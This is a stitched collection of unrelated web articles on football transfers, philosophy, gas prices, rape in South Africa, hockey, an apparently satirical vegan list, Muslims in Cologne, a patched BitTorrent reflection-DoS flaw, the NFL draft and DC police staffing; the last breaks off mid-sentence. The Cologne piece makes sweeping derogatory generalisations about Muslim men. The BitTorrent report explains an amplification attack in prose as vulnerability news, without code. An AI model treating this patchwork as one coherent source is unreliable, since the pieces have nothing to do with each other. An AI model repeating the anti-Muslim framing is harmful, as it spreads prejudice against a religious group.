Ellen,’ or whoever it is. And I’m like, ‘Not now,’ and she’s like, ‘Why, mom? I’m just being honest.’” Yep, that’s def Kanye’s daughter right there.  Tell us, HollywoodLifers — what do you think of this vid? Should the paparazzi just leave the little girl alone?
-Get the biggest Arsenal FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email  The Robin van Persie transfer saga has been raging for almost as long as we can remember but at long last it's over, after his move to Manchester United was confirmed on Wednesday evening.  Earlier this year the Dutchman was every Arsenal fan's hero after a quite superb season in which he bagged a ridiculous 37 goals and won a hat-full of personal awards including the PFA Players' and Fans' Player of the Year and the Football Writers' Footballer of the Year gongs.  But then reports began to emerge that the former Feyenoord flyer was not happy at the Emirates and was thinking of leaving.  At the beginning of July, he confirmed the news that Gooners everywhere had been dreading when he revealed he would not be signing a new contract with the club.  To remind you how the story has unfolded, we've got all the stories, blogs and columns charting the saga.  September 2011 - The saga begins: It all started back at the beginning of last season. No sooner had Arsenal finally sold Cesc Fabregas and Samir Nasri - the former had wanted out for some time while the latter had just a year left on his deal like van Persie - the whole thing kicked off again with Dutchman RvP, when he revealed he was in no hurry to sign a new deal.  April 2012 - Enter Juve: MirrorFootball reveals van Persie's agent has been in touch with Juventus, who are keen to take the striker to Italy, though Arsene Wenger says he's "confident" van Persie will sign new Arsenal deal.  May 3 - "I'll always be a Gunner": As van Persie picks up the Football Writers' Footballer of the year award, he offers Arsenal fans hope that he will stay when he declares: "I'll always be a Gunner."  (Image: Reuters)  In his weekly column John Cross says Arsenal's transfer dealings in the summer are as much about keeping van Persie as bringing in new talent.  May 4 - Silence is deafening: In what will become a recurring theme for Arsenal press conferences, Arsene Wenger again insists that his skipper is committed to the club, but just two days later the man himself refused to speak after a 3-3 draw with Norwich, sparking further speculation about his future.  May 9 - Italian job: Italian giants Juventus are again linked with a move for van Persie after general director Giuseppe Marotta says the Dutchman would be the "icing on the cake" for his team - however it is believed the player himself is only interest in a move to Barcelona or Real Madrid.  May 12 - Girl power: Van Persie's wife and mum are quoted saying they both hope their man sticks with Arsenal because they love living in London. "As a family, we love it here... We don’t want to upset things at home either. Our kids, Shaqueel and Dina, go to school here in London. And they are just as happy as we are," says Mrs RvP.  (Image: Getty)  May 14 - Manchester City join the party: The super-rich Citizens are linked with a £25million move for van Persie, with £250k a week wages, though Wenger and the Arsenal board are ready to make their wantaway skipper stick to the terms of his contract and stay for another year.  John Cross spells out the reality for van Persie in his weekly column, telling the Dutchman if you move abroad you'll still be an Arsenal legend... go to Manchester and you'll be hated as a traitor.  May 16 - Game changer: John Cross reveals van Persie has told club chiefs he is unhappy at the club and is ready to quit.  May 26 - Form an orderly queue: Manchester City emerge as leaders in the chase for the Dutchman, but Real Madrid, Barcelona, Manchester United, Juventus and super-rich Russian club Anzhi Makhachkala are not far behind, as RvP tells Arsenal he is not interested in signing a new £130,000 a week deal.  (Image: Michael Regan)  June 4 - A nod and a wink: RvP breaks his silence. He says he won't discuss his future until after the Euros... but tells Italian press Juventus are a "great team".  June 9 - Word from the top: Arsenal chairman Peter Hill-Wood has his say on the issue, and tells his captain he'll have to leave the club if he wants to earn £200,000 plus.  June 15 - Chocs away: Van Persie scoops the PFA fans' Player of the Year award to add to his PFA players' and Writers' gongs, while Wenger wagers a chocolate bar the Dutchman won't leave for Juventus. "If he moves there I will buy you a Caramello."  July 2 - Juve got to be joking: Arsenal reject an £8million offer from Juventus.  July 4 - The thunderbolt: Van Persie reveals he will not sign a new deal with Arsenal and says he disagrees with the direction of the club, in a scathing statement on his personal website. It now appears there's no way back for the Dutchman and it is simply a case of where he will move to.  July 17 - Grinning Gunner: Robin van Persie is all smiles as he returns to training with Arsenal as AC Milan join the chase.  (Image: Getty)  John Cross takes stock of the situation from Arsenal's point of view in his weekly column:  July 20 - Fergie gets in the game: Alex Ferguson confirms Manchester United have made a bid for the Arsenal striker, as Wenger orders his captain NOT to join the club's pre-season tour of Asia.  July 25 - Getting shirty: Arsenal announce their squad numbers for the 2012-13 season and although Robin van Persie has retained his No.10 shirt, new signing Lukas Podolski has yet to receive a number - fuelling speculation he will take RvP's shirt when the Dutchman leaves.  July 27 - Angry Arsene: Furious Arsene Wenger loses his cool when asked about van Persie in a post-match press conference. “I have talked about Van Persie and I’m not talking about that question anymore. Do you ­understand?” he said.  (Image: Steve Bardens)  August 2 - Juve got to be kidding! RvP's camp appear to be going cold on Juventus amid fears their manager Antonio Conte will be caught up in a match-fixing row. John Cross' column looks at the striker's shrinking options and asks whether he could go back to Arsenal?  August 4 and 5 - Shock u-turn: Steve Stammers reveals van Persie now wants to stay at Arsenal, while John Cross says the striker has been impressed by the ambition shown by the club in the transfer market after the signed Lukas Podolski, Olivier Giroud and close in on a deal for Santi Cazorla.  Meanwhile, Roberto Mancini throws in the towel and admits van Persie won't be joining Manchester City after all.  August 7 - Sanit arrives: Arsenal finally complete their protracted deal for Malaga star Santi Cazorla, and Arsene Wenger promises there's more to come. But will it be enough to tempt van Persie to stay?  August 8 - Come fly with me: Amid (erroneous) rumours that RvP left Arsenal's Cologne training base to fly in to Manchester, John Cross revealed that Manchester United were preparing an improved offer for the Dutchman. Meanwhile Steve Stammers used his weekly column to praise van Persie's attitude, comparing him favourably to the stropping Luka Modric over at Spurs.  August 9 - The price is £20m - to you, £25m: John Cross revealed that while Arsenal are looking for £20m for van Persie, they actually want Manchester United to pay £25m, as they consider them to be rivals. He then used his weekly Arsenal column to lift the lid on the tension between Arsene Wenger and Alex Ferguson and revealed why not selling RvP to United has become a point of principle for the Gunners boss.  August 13 - Your call Arsene: After getting fed up with the saga dragging on, John Cross revealed Sir Alex Ferguson has gone direct to Arsene Wenger to try to get the deal done.  August 15 - done deal! Arsenal and Manchester United confirm they have reached agreement for van Persie's move to Old Trafford. It's now all over bar the shouting, which in this case is a medical and personal terms discussions.
-Though Socrates’ discovery marked the beginning of philosophy as we know it, and is the origin of analytic philosophy in particular, the method of counter-examples hasn’t been hugely important in the history of philosophy. Plato himself turned to reductios (for example in the Parmenides) and Aristotle’s methods are largely constructive. When Descartes wanted to prove the dualism of mind and matter, he didn’t do so by counter-exampling identity theory; similarly Hume and the rationalist theory of causation. The last two authors proceeded from first principles, and this was the dominant method of philosophy even in the heyday of analysis. What are Frege’s great counter-examples? Russell’s?  That example, in the Republic, showed a plausible theory false, but this was not the only use to which Socrates put counter-examples. He used them positively as well: the very fact that the method of counter-examples works shows that analysis (or the answering of ‘What is X?’ questions) is a search for property-identities. Analysis cannot rest content with illumination by convincing paradigms. You cannot answer the question, “What is justice?” simply by pointing to the Supreme Court, or the Constitution. You must designate justice (the property) another way, a way that is easier to understand than designating it as justice. And when you do this, you are open to counter-examples.  The method of counter-examples was introduced to philosophy by that under-achieving gadfly, Socrates, and it was one of Plato’s great achievements that he transcribed some of the conversations in which Socrates used this method. Justice is not the repayment of what you owe, Socrates argued, because it is not an exercise of justice when you return a weapon that you owe to a homicidal maniac.  Today, however, counter-examples are even more rampant than in Plato’s Socratic dialogues. And they often take the form of thought experiments. Consider Kripke. When he wanted to refute the Description Theory of Names, he invited you to imagine that Gödel (whose name you understand as equivalent to "the person who proved the incompleteness of arithmetic") had stolen his ideas from a man named Schmidt. If this were so, would the name ‘Gödel’ designate Schmidt in your dialect? When Judith Jarvis Thompson attacked theories concerning the wrongness of abortion, she asked you to think of a person hooked up to a famous violinist, who would die if disconnected. (Is this person obliged to give up all her mobility on account of the violinist?) When David Chalmers wanted to prove the dualism of mind and matter, he invited you to think about zombies: systems that are physically just the same as a conscious being and which yet lack consciousness. The very fact that one can coherently conceive such a system shows that mind cannot be the same as body. It is worth noting that at bottom, Chalmer’s argument is very like Descartes’—but Descartes didn’t boil it all down to a counter-example. Of course, this probably all goes back to Nelson Goodman, whose grue emeralds constituted “the new riddle of induction” in 1953, and Edmund Gettier, whose three page paper in Analysis (1963) spawned 75% of epistemology as it was conducted in the following quarter century.  Unfortunately, counter-examples now take up a large space in contemporary analytic philosophy. Imagine putting forward a theory of justice, or of consciousness, or of knowledge. Very likely, the theory will contain a property identity claim somewhere, and within months of its publication, the schools will be full of counter-examples. The problem with this is that often the counter-examples are unmotivated. They suck sustenance from theories struggling to find their feet. In science, as we know, many theories survive despite apparent counter-examples. Given time, these theories either find ways to address the counter-example, or die away because there are too many such. Rarely do they struggle with a single counter-example.  In philosophy, it seems to me, counter-examples have not proved uniformly healthy. Sometimes, as I just remarked, they result in the premature demise of theoretical approaches. Sometimes this premature demise stems from the mere conceivability of a counter-example—with no serious effort to set standards for conceivability. (Should we say that something is conceivable merely because somebody claims to have conceived it?) Perhaps even more damagingly, the excessive use of counter-examples has led to the undue verbosity of philosophical theorizing, which relies on multiple clauses unequal to each other in theoretical importance.
-A little local price war between two gas stations in South Houston has allowed drivers to fill up for $0.78 a gallon, despite having to wait in line for 20 minutes in some cases.  The war at the pump “raged” between a Texaco station and a Johnny Quick station – the rivals are located across the street from each other at the Old Spanish Trail, off 288. Johnny Quick gained the upper hand, charging a penny less than the competition, motivating drivers to form long lines to fill their tanks for just $11.  This is not the first price war that has seen drivers flock to certain gas stations. Last year saw a three-way fight for clients in a Michigan resort town bring prices per gallon down to $0.47 – pennies above federal and state excise taxes. In that case, police had to be deployed to Houghton Lake to direct traffic, as the locals crowded a B&B Market and a Valero station – the first one known for its undercutting practices and the other just opened under new management that saw fit to take part in a penny-for-penny price-lowering match.  The third participant in that event was a Citgo station, which, however, stuck to a bit higher prices, at $0.95 per gallon, but still much lower than the average for the state. The cost of filling in cheap was waiting in line for up to 45 minutes, which, Oilprice noted at the time, erased a lot of the actual fuel savings.  The fact that this has happened again highlights the shale industry’s revival that was kickstarted at the end of last year, after an OPEC agreement with another 11 producers saw prices jump to the mid-$50s and stay there, although they fell short of reaching the much more desired $60 level.  Related; Oil Steadies Itself Ahead Of Big Week  U.S. crude oil production has already topped 9 million barrels daily and is likely to continue up through the rest of the year. Inventories have been steadily – and substantially – rising for more than two months now, pressuring benchmark prices further and spurring gas stations to offer the lowest rates for their product to stay competitive.  What’s good news for drivers, however, is not such good news for the gas stations themselves: such marketing tricks as the Michigan and Houston price wars can really cut into these businesses’ bottom line as retail gas marketing is the narrowest profit-margin segment of the oil industry.  By Irina Slav for Oilprice.com  More Top Reads From Oilprice.com:
-Media playback is unsupported on your device Media caption The BBC's Andrew Harding was told that even babies got raped  The 22 year old was still sitting inside the makeshift bar in Soweto, when the police came for him. It was a few days before new year.  According to witnesses, the man had just attacked and raped a 17-year-old girl at his table, but apparently considered the incident so trivial that he had not even tried to flee.  Nor had anyone else in the bar, besides the alleged victim, thought of contacting the police.  At a time when Indians are re-examining their society in the light of a single, horrific incident of gang rape, South Africa seems numb - unable to muster much more than a collective shrug in the face of almost unbelievably grim statistics - seemingly far worse than India's.  Rape is in our culture. It's part of the whole patriarchal culture Andy Kawa, Businesswoman and activist  Here almost 60,000 rapes are reported to the police each year - more than double the number in India, in a far smaller country.  Experts believe the true figure is at least 10 times that - 600,000 attacks  It is not that the issue is ignored - far from it.  This week South African newspapers are carrying gruesome stories of what is being described as a new trend - the rape of elderly grandmothers, mostly in rural communities; an 82 year old and a 73 year old attacked on 2 January.  But despite the anger voiced by columnists, and by people calling in to radio stations, there is no sense of a nation being galvanised.  In recent days commentators and campaigners here have looked, almost enviously, towards India, wondering what it might take to provoke a similar sense of outrage - and angrily debating whether outrage itself is enough, and who, or what, to blame.  History, perhaps, or drugs, or poverty…  "No-one can tell me that raping a three-month-old baby or 87-year-old granny or burning a library or vandalising a school is caused by poverty," said trade union federation leader Zwelenzima Vavi, in a recent Tweet exchange.  "Rape is in our culture. It's part of the whole patriarchal culture," businesswoman and activist Andy Kawa, who was herself the victim of a gang rape, told me.  "It's an every day thing. It happens in homes. There's silence because of fear, because the perpetrator, most of the time, has the power," she said.  'Plenty of rapists here'  Image caption Editor Mpumelelo Mkhabela says the people need to do more to fight rape  Mpumelelo Mkhabela, editor of the Sowetan newspaper, said: "The government is doing its best but we also need citizens to take up the fight and take up the campaign instead of being outraged for a moment, only to stop a few days later."  Perhaps the only certainty is that South Africa is a violent society.  It has been so for decades, and people have got used to it.  In many communities young women talk of how they almost expect to be assaulted - and young men grow up with a dangerous sense of entitlement.  So this week there was barely any public reaction, beyond a few brief headlines, when news came in of a 21-year-old woman who was gang-raped on Tuesday on her way to try to enrol at a university outside Pretoria.  We're not protected, we don't feel safe Female student  She was dragged into the bushes by four as yet unidentified men. She survived the attack.  Outside the university gates the next day, I spoke to some of her fellow students.  Most had not heard about the attack, and none seemed remotely surprised.  They were more preoccupied with keeping their places in a very long queue on a very hot day.  "We're not protected, we don't feel safe," said one female student.  A man walking past said: "There's plenty of rapists here."  Then a young woman thought for a moment, looked at her friends, and said quietly, "I don't know what is wrong about men.  "There must be something done about them."
-Leading the charge is Alain Vigneault, the favorite among NHL.com's 13-voter panel to win the Jack Adams Award at the first quarter of the 2016-17 season.  The New York Rangers were in transition during the summer following an early exit from the 2016 Stanley Cup Playoffs. They became younger, faster and deeper, and that has translated into a first-place standing in the Metropolitan Division.  Vigneault has the Rangers playing at a blistering pace following the acquisitions of forwards Jimmy Vesey (free agent), Mika Zibanejad (trade) and Michael Grabner (free agent). Forward Pavel Buchnevich, New York's third-round pick (No. 75) in the 2013 NHL Draft, signed a three-year, entry-level contract after playing five seasons in his native Russia.  "You bring players in and I think what you try and do is put them into a situation where they can be successful," Vigneault told the Rangers website. "This year we've tried to have maybe a little more balance throughout our lines and I think it has paid dividends. [Grabner] coming in and being able to play with almost anybody and finding a success. That's what we're going to try and continue to do as we move forward."  New York's depth is being tested with Zibanejad (broken fibula) out 6-8 weeks and Buchnevich missing the next 2-3 weeks with a back injury, but what's driving the Rangers is how everyone is contributing. Six players have scored at least seven goals; Grabner leads the team with 12, four more than he had all last season with the Toronto Maple Leafs. Some of their core players, J.T. Miller and Kevin Hayes in particular, have taken their games to new levels while excelling in Vigneault's breakneck system.  "We're playing great as a team, and that's all I can say," Miller told the New York Post. "Pucks are going in, but every line is playing well. It wears on the other team and it gives, maybe whoever it is, more chances. More pucks are going in right now than last year, and that's been a big part of the team's success."  Vigneault earned 49 points (three first-place votes), 18 more than Columbus Blue Jackets coach John Tortorella. Six coaches received at least one first-place vote: Vigneault, Tortorella, Michel Therrien (Montreal Canadiens), John Hynes (New Jersey Devils), Todd McLellan (Edmonton Oilers) and Joel Quenneville (Chicago Blackhawks).  Voting totals (points awarded on 5-4-3-2-1 basis): Alain Vigneault, Rangers, 49 points; John Tortorella, Blue Jackets, 31; Michel Therrien, Canadiens, 26; John Hynes, Devils, 23; Todd McLellan, Oilers, 20; Joel Quenneville, Blackhawks, 14; Claude Julien, Boston Bruins, 12; Jon Cooper, Tampa Bay Lightning, 5; Bruce Boudreau, Minnesota Wild, 4; Guy Boucher, Ottawa Senators, 4; Paul Maurice, Winnipeg Jets, 3; Darryl Sutter, Los Angeles Kings, 2; Mike Babcock, Toronto Maple Leafs, 2.
-This is a guide for any and all vegans or wannabe vegans to abide by. It’s intersectional, meaning it treats racism, sexism, cissexism, classism, ableism and other forms of oppression as the exact same thing.  White veganism:  - Flaunting your vegan diet in front of poor people.  - Buying your groceries at Whole Foods, Trader Joe’s or other grocers which cater to white hipsters. This includes all food coops.  - Eating foods of colonized peoples if you’re not one. This includes but isn’t limited to: quinoa, falafel, hummus, tabbouleh, miso soup, seaweed, guacamole, corn tortillas, collards, kale, rice flour, yam flour, Brazilian nuts, spring rolls, bok choy, coconut milk, lemon grass, sticky rice and so on.  - Using a rice cooker. Since rice is a hugely special part of several colonized cultures, it is a slap in the face to these people that white people are using rice cookers.  - Telling colonized peoples they have to stop eating meat or eat meat differently. A very good example is the Eid lamb: yes halal slaughter isn’t nice but intersectionality should make siding with meat-eaters in the ummah over colonial vegans a PRIORITY.  - Telling trans people going through transition that their prescriptions were tested on animals. See above.  - Claiming you are more in need of gluten-free products than people who need gluten-free products due to their celiac disease and/or autism.  - Making a traditional meal of a colonized group but replacing the traditional animal products with vegan ones. In fact white people need to stop cooking their own versions of colonized people’s meals PERIOD.  Decolonized veganism:  Doing nothing I mentioned on the list above.
-Approximately 10,000 Muslims were expected to show up to a “peace march” in Cologne, Germany on Saturday. Guess how many showed up? A couple hundred at most. Organizers hoped that an event featuring slogans like “Together against terror” and “Hatred makes the earth hell” would galvanize the so-called “peaceful Muslims” we’ve all been hearing so much about from the Left. In the wake of a wave of terror attacks across major cities in Europe, one would expect some solidarity with the victims, perhaps a few words of condemnation against violent jihad. Instead, a couple hundred people, many of whom were not Muslim, showed up to an underwhelming event that could hardly be called a “march.”  “The turnout was far fewer than the tens of thousands the organizers expected — Germany’s biggest Islamic association had said earlier in the week that it wouldn’t take part in the march,” reports Euronews.  Rather than standing up for victims, Germany’s Islamic community appears to have been more concerned about its PR image.  “The Turkish-Islamic Union argued it would send the wrong signal by suggesting that international terrorism is mainly a Muslim problem,” notes ABC News. “It also said Muslims observing the Ramadan fast couldn't be expected to march for hours in summer temperatures. That stance drew criticism from the government, which welcomed the march.”  The disturbing lack of solidarity with terror attacks comes as German voters debate the the costs and benefits of Chancellor Angela Merkel’s open-borders migration.  During Merkel’s reign, Germany has suffered from a series of refugee-initiated attacks, from Berlin to Munich to Bavaria.  In Cologne, where the 10,000-strong “peace march” was supposed to take place, a barbaric attack against the city’s women was perhaps the most visible sign of post-Muslim migration social dysfunction.  On New Year’s Eve 2016, 1,000 young Muslim men targeted and assaulted dozens of German women during the evening’s festivities. “German authorities said on Tuesday that coordinated attacks in which young women were sexually harassed and robbed by hundreds of young men on New Year’s Eve in the western city of Cologne were unprecedented in scale and nature,” reported The New York Times. “The assault, which went largely unreported for days, set off a national outcry after the Cologne police described the attackers as young men ‘who appeared to have a North African or Arabic’ background, based on testimony from victims and witnesses.”  The attack was coordinated and planned. “Around 1,000 young men arrived in large groups, seemingly with the specific intention of carrying out attacks on women,” added the BBC.  As young and maladaptive Muslim men flooded Germany, crime and assault against women soared. The disturbing sexual warfare against the women in Cologne was just the tip of the iceberg. Coming from cultures and religious backgrounds that neither acknowledge nor respect the human rights of women, hordes of Muslim men, fleeing from the war-torn Middle East, have yet to accept European social norms, or worse, stand up against the Islamic community terrorism problem.
-The maintainers of the open BitTorrent protocol for file sharing have fixed a vulnerability that allowed lone attackers with only modest resources to take down large sites using a new form of denial-of-service attack.  The technique was disclosed two weeks ago in a research paper submitted to the 9th Usenix Workshop on Offensive Technologies. By sending vulnerable BitTorrent applications maliciously modified data, attackers could force them to flood a third-party target with data that was 50 to 120 times bigger than the original request. By replacing the attacker's IP address in the malicious user datagram protocol request with the spoofed address of the target, the attacker could cause the data flood to hit the victim's computer.  In a blog post published Thursday, BitTorrent engineers said the vulnerability was the result of a flaw in a reference implementation called libuTP. To fix the weakness, the uTorrent, BitTorrent, and BitTorrent Sync apps will require acknowledgments from connection initiators before providing long responses.  "This means that any packets falling outside of an allowed window will be dropped by a reflector and will never make it to a victim," the BitTorrent blog post stated. "Again referring to the diagram above [which appears immediately below in this Ars post], this means that (3) is dropped and (4), (5) and (6) never make it to the victim. Since the mitigation occurs at the libuTP level, other company protocols that can run over libuTP like Message Stream Encryption (MSE) are also serviced by the mitigation."  Referring to the same diagram, here's a more detailed description of the attack and the way the change announced Thursday is intended to lower the bandwidth amplification factor (BAF) it provides:  After the reflector has received the first packet from an attacker it transitions over to a connected state at (1). At this point the reflector has received the connection packet #209, and is expecting #210 next. It lets the victim, V, know of this fact by sending an acknowledgement packet with the next sequence number available to the reflector, for the example I’ve chosen #31.  Soon after, the attacker needs to send the first data payload, this will be the BitTorrent protocol header. To properly build the packet the attacker will need to provide the reflector with acknowledgement number of the last received packet at (2). The flaw in libµTP would allow the reflector to accept any acknowledgement number at (3) allowing the attack to be carried out. A mitigation relies on the fact that it would be fairly difficult for an attacker to guess the acknowledgement number at (2) for a sufficiently large number of reflectors. The intention of the change is to reduce the BAF to as low a value as possible making attacks like this very high-effort. While the attacker will still be able to initiate a connection to the reflector, by dropping the packet at (3) the victim sees only an acknowledgement packet at (2). The first few exchanges of the connection will now look like this: Attacker sends the following to the reflector: 62 bytes for an initial SYN +  130 bytes for the BitTorrent Handshake And the victim receives: 62 bytes to acknowledge the first SYN  There are no indications the BitTorrent weakness was actively exploited. Still, BitTorrent should be commended for taking it seriously and fixing it quickly.
-The Detroit Lions Drafted Teez Tabor In The Second Round Of The NFL Draft.  If I had told you three months ago that Detroit was going to get a cornerback some considered a top 10 talent – all because of a poor combine showing – would you have been upset? What if I had told you that they would get said player not with their first pick, but with their second? Would you have even believed me? I wouldn’t have.  Alas, truth is stranger than fiction, and that’s exactly what happened last Friday evening. Florida CB Teez Tabor, who prior to the combine had been mocked as highly as ninth overall to Cincinnati, saw his draft stock plummet after running a 4.62s 40-yard dash in Indy. Matters worsened for Tabor when he followed it up with a 4.72s at his pro day in Gainesville. Nevertheless, Bob Quinn stopped his freefall when he took him with the 53rd overall pick. But Tabor’s reunion with Gator teammate Jarrad Davis received mixed reviews from the Lions faithful, who were concerned with his 40 times.  Now more than ever, speed is at a premium in the NFL. The evolution of the modern NFL offense has spawned an arms race, with teams stockpiling speed on the defensive side of the ball in an effort to combat the pass. As a result, the league has begun discarding older, traditional notions of defensive positions. Smaller, faster defenders once shunned as ‘tweeners’ are now en vogue; coveted as hybrids that can be deployed in a variety of roles. This phenomenon has coincided with the commercialization of the combine.  The NFL’s annual event is now less a job fair than it is a nationally televised carnival of sorts. Players who measure well are paraded around as freaks, while those that test poorly are scorned as lepers. The only thing it’s missing is a bearded lady and a Gronkowski version of Siamese twins. But the combine’s meteoric rise in popularity can be attributed to the times we live in. People enjoy the athletic spectacle, but what they really love is easily digestible information.  Most fans don’t have the time, or desire, to watch hours of tape on 300 prospects. I know I don’t. So for many people, the combine is a convenient, albeit inaccurate way to pass judgment on the next crop of NFL players. And today, a slow 40 time can be a death sentence in the court of public opinion.  But like many of the aforementioned traditional defensive positions, the 40-yard dash is a relic of a bygone era. At the time of its conception, it was designed to determine how quickly a player could race downfield to cover a punt. Today, it’s a legacy piece used to quantify speed. It still has its merits, but its importance has outgrown its original purpose. In fact, the NFL has quietly considering doing away with it altogether. Just last February, the league considered drastically overhauling the combine at the convening of its annual meeting.  I digress. The demand for speed on defense isn’t for the sake of speed itself (sorry, Al Davis). It was a natural adaptation necessitated by the emergence of beastly tight ends and the increased incorporation of running backs into the passing game. This is a case study of Darwin’s theory of evolution. In order to survive, NFL teams had to stop looking at what players weren’t and what they couldn’t do. So, they began looking at what they could do.  That’s something Bill Belichick has preached for years in the New England organization, and they’ve won five championships in the new millennium. ‘Tell me what they can do, not what they can’t.’ Tabor may not be able to run a dead sprint in spandex very well, but he can play cornerback, and he’s damn good at it.  This is not to say that athleticism is not important in the NFL. The better athlete one is, the better use they can make of their technique and instincts. There is certainly a correlation between athletic ability and NFL success, as Pride of Detroit’s Kent Lee Platte has widely documented with his RAS (relative athletic score) system. But as Kent would likely acknowledge, athletic ability (or lack thereof) is not a prerequisite for success, and we’ve seen plenty of combine warriors and speed demons flame out in the NFL. Seahawks All-Pro corner Richard Sherman ran a 4.56. Super Bowl 49 hero Malcolm Butler ran a 4.6. There are plenty of precedents.  Not to mention that Ian Rapoport reported that Tabor was bothered by a tweaked hamstring all offseason. In his introductory conference call, Tabor himself declined to blame his poor 40 times on any undisclosed injury. His explanation? He was training to play football, not run the 40. And that’s what the Lions got: a football player, not a track and field star.  http://gty.im/614901880  “Press play, watch the tape.” Those were the words pressed on the shirts of the friends and family members that surrounded him as he got the fortuitous phone call from Bob Quinn. His mother, fed up with her son’s detractors and those that ridiculed his 40-yard dash, made those shirts.  LaVar Ball has recently demonstrated, very loudly, how oblivious and obnoxious the parents of athletes – who are blinded by their love for their children – can be. But, not Mama Tabor. Her coinage of that catchphrase succinctly captured why Quinn made her son the eighth cornerback off the board. In a draft that set the record for most defensive backs taken in the Common Draft Era, that’s not insignificant.  And Quinn liked what he saw. At the conclusion of Day two, this is what he had to say about it:  “The 40 time at the Combine and at the pro day is what it is. I think in Jalen’s case, me personally, I probably watched more film on him than any prospect that I could ever remember watching film on because everyone said, ‘Well, he ran real slow.’ I said, ‘OK, well the games that I watched, I didn’t see him get run by.’…I take playing speed as a more important gauge than timed speed.”  Quinn’s explanation is consistent with the Tabor matriarch’s message. And it’s also consistent with the analytics of Pro Football Focus. Quinn said he didn’t see him get run by, and he didn’t. According to the analytics firm, Tabor allowed just two touchdowns on throws into his coverage at three years in Florida. PFF also noted that, during that time, he recorded a pass breakup or an interception on 26.5% of his targets.  In what’s been hailed as the best defensive back crop of all time, that mark was best in class. They also noted that his allowed passer rating of 41.2% was similar to what the passer rating for “throwing the ball into the dirty every play” would be (39.6%). That mark was better than the respective ratings of all five cornerbacks (Lattimore, Humphrey, Jackson, Conley, White) who went in the first round. His touchdown percentage of 1.4% also bested theirs, and only Tre’davious White (0.72) had a lower yards per route in coverage than Tabor (0.78).  But Pro Football Focus wasn’t the only outlet high on him. Tabor was regarded by some as the crown jewel of the class before his dismal 40 times motivated many to renounce what they saw on film. As I mentioned previously, some analysts mocked him as highly as ninth overall to Cincinnati, back in February. NFL.com draft analyst Lance Zierlein wrote in his prospect profile that he had ‘prototypical size and athleticism,’ a report he penned before Tabor ran poorly.  Interestingly enough, Zierlein also compared him to Darius Slay. And perhaps even more interesting is the fact that Tabor and Slay shared the same defensive coordinator in college, current Temple head coach Geoff Collins.  All that considered, it shouldn’t come as a surprise that Tabor projects to fit very well in Detroit’s defensive scheme. He excels in off and zone coverage, which is what Teryl Austin asks his cornerbacks to play. He’s very aware of zone and is highly adept at pattern recognition and closing on the ball to challenge throws.  During his career in Gainesville, he had eight picks (three of which went for TDs) and 28 pass breakups. For a Lions defense that ranked third-to-last in takeaways in 2016, he should provide a much-needed infusion of playmaking ability.  If you still aren’t convinced that Tabor will make a great addition to the team, I’m not sure there’s much else I could tell you to make you reconsider your position. I’m just a lively idiot with a smartphone and a deadline to meet. All that’s left for you to do, is to do what Bob Quinn did.  Press play. Watch the tape.
-The number of D.C. police officers in the District has fallen below 3,800, its lowest level in a decade, breaking a threshold that top District officials once warned would be dangerously thin in a city that continues to grow.  As of Dec. 17, D.C. police had 3,786 officers, according to the mayor’s office, falling from more than 3,929 a year ago. Meanwhile this year, homicides across the District have surged more than 50 percent, and a spike in robberies in some neighborhoods instilled renewed fear of a return to the higher crime rates of the 1990s. Though police say violent crime is at its lowest level in seven years, residents polled put crime at the top of their worries this year.  District police say that they have been unable to keep up with attrition triggered by the retirements of officers who joined the force during a hiring binge in 1989 and 1990. From January 2014 through October, the department lost 764 officers — more than half through retirement — and hired 562.  [Wave of police retirements could shrink force]  D.C. Police Chief Cathy L. Lanier did not respond to a request for an interview. But in her last budget memo to the D.C. Council, the chief said that by the end of this year more than half of the command staff, one-third of all lieutenants and detectives and nearly one-third of all sergeants would be eligible to retire. She wrote in a letter to residents posted on the Internet that the departures “present a challenge.”  Kevin Donahue, the deputy mayor for public safety, said the District is not in a crisis and in fact had long planned for the retirement bubble to burst. “Our focus has been less on the golden number, but on working within the resources we have to try and have the most efficient and effective force,” he said.  District officials blame the staffing shortfall almost entirely on retirements, saying attrition rates for officers who leave for other reasons have remained constant for the past decade. But the union representing the rank and file says that the exodus also includes officers and street-level supervisors who are leaving with fewer than 10 years on the force. The union argues that this is evidence officers are fleeing a department and a chief they do not like, as well as a crime plan they say will not make the District safer.  [District’s population continues to grow]  “The only way to stop the hemorrhaging of personnel on this department is to fundamentally change the way it is managed,” Gregg Pemberton, the police union’s treasurer, wrote in a letter to residents posted on the Internet, saying officers are leaving because of erratic scheduling, pay that is not competitive and ineffectual deployment strategies.  Lanier countered with her own Internet bulletin, titled, “Setting the record straight,” saying that most of the departures were anticipated retirements while outlining her strategies for hiring more civilians to push sworn officers out of desk jobs and back onto the streets, implementing new technology to speed up administrative functions and developing incentives to persuade other officers to stay.  Lanier noted that the violent crime rate is at its lowest level since 2007 and has dropped 15 percent between 2009 and 2014. During that same period, the District’s population has grown 10 percent. The chief said serious crime is down 5 percent this year, including sexual assaults and assaults with dangerous weapons, even with the rise in homicides.  In 2011, Lanier warned of trouble if department staffing fell below 3,800, and a year later she told WTOP-FM (103.5) that should the department break that barrier, it would be “harder for me to do what I have to do. I have to be creative, and sacrifice things to make up for other things.”  [How many police the District needs depends on whom you ask]  Lanier’s letter to residents did not address specific complaints about the impact of low staffing that the police union raised in its memo.  The labor group said that it can take hours for a crime-lab technician to respond to a burglary to dust for fingerprints, and officers trained to confront active shooters must work overtime to ensure adequate coverage. Officers interviewed said that they spend shifts racing from call to call, spending less time in the neighborhoods to which they are assigned.  “I tell people the truth,” said 23-year veteran Officer Nicholas Deciutiis , who is assigned to the First District, which includes Capitol Hill, and is a union shop steward. “We do the best we can out here with what we have.”  The police union says that the practice of temporarily pulling detectives and others who work behind the scenes into street duty, called “high visibility patrols,” gives residents a false impression that the department is flooded with officers. Meanwhile, the union says, burglary and other investigations slow or stall. The depleted force, the union said in its letter, “is causing innumerable problems and complications in our ability to keep the streets safe.”  Benjamin Fetting, a master patrol officer in the Third District, which includes Dupont Circle, Adams Morgan, Kalorama and ­Columbia Heights, said: “We do more with less every day.” The union shop steward said that it is not uncommon for an officer talking with a crime victim to race off to a more urgent call: “We spend more time running around the District instead of spending quality time in our [patrol area].”  He said that any special event, large protest or holiday can cause crippling staff shortages. “We’re starting to feel the pain,” said Fetting, who is trained to use assault weapons and is on an active shooting team. He said that, to keep a sufficient number of teams on the streets, he has needed to work overtime.  The District, with a population of about 672,000, has more than five police officers for every 1,000 residents.  That is one of the highest police staffing levels per capita of any city in the country, exceeding a Justice Department recommendation of two officers for every 1,000 people. Most large cities pass that threshold, 